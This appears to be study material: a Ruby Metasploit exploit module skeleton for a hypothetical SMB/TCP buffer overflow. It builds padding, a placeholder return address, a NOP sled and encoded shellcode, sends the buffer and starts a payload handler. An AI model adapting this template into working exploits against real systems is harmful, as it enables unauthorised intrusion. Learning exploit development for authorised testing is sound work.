Exploitation and Post Exploitation Questions

# Ruby Metasploit module skeleton (exploit/windows/smb/example_overflow)
require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp  # or appropriate mixin (Udp, HttpClient, SMB, etc.)
  include Msf::Exploit::Remote::Seh  # if SEH overwrite relevant
  include Msf::Exploit::EXE       # for payload generation helpers

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Example Buffer Overflow',
      'Description' => %q{
        Hypothetical buffer overflow for demonstration.
      },
      'Author' => ['Your Name'],
      'License' => MSF_LICENSE,
      'Platform' => 'win',
      'Targets' =>
        [
          [ 'Windows XP SP3 English', { 'Ret' => 0x41414141, 'Offset' => 1024 } ],
          # Add target-specific adjustments here
        ],
      'DefaultTarget' => 0
    ))

    register_options(
      [
        Opt::RPORT(9999),
        OptString.new('TARGETURI', [ false, 'Path or URI if applicable', '/' ]),
      ], self.class
    )
  end

  def check
    # Implement safe probing (non-destructive) to confirm target is vulnerable.
    # Return Exploit::CheckCode::Vulnerable, ::Safe, ::Unknown, or ::Detected
    # Example: banner grab or version check without sending crash payload
    begin
      connect
      banner = sock.get_once(-1, 3)
      disconnect
      if banner && banner.include?('vulnerable-service')
        return Exploit::CheckCode::Appears
      else
        return Exploit::CheckCode::Safe
      end
    rescue ::Exception
      return Exploit::CheckCode::Unknown
    end
  end

  def exploit
    # Build exploit buffer using target-specific Offset and Ret values
    target = targets[datastore['TARGET'].to_i]
    offset = target['Offset']
    ret   = [ target['Ret'] ].pack('V')

    # Generate payload: use payload.raw or framework's encoder integration
    # Insert payload handling / badchar avoidance here
    shellcode = payload.encoded # framework will handle encoding if configured

    buf = "A" * offset
    # Optional: add ROP/gadget adjustments for DEP/ASLR here
    buf << ret
    buf << make_nops(16)
    buf << shellcode
    buf << "C" * (1500 - buf.length) # pad to expected length

    connect
    sock.put(buf)  # send exploit - ensure this is only used in authorised tests
    handler
    disconnect
  end
end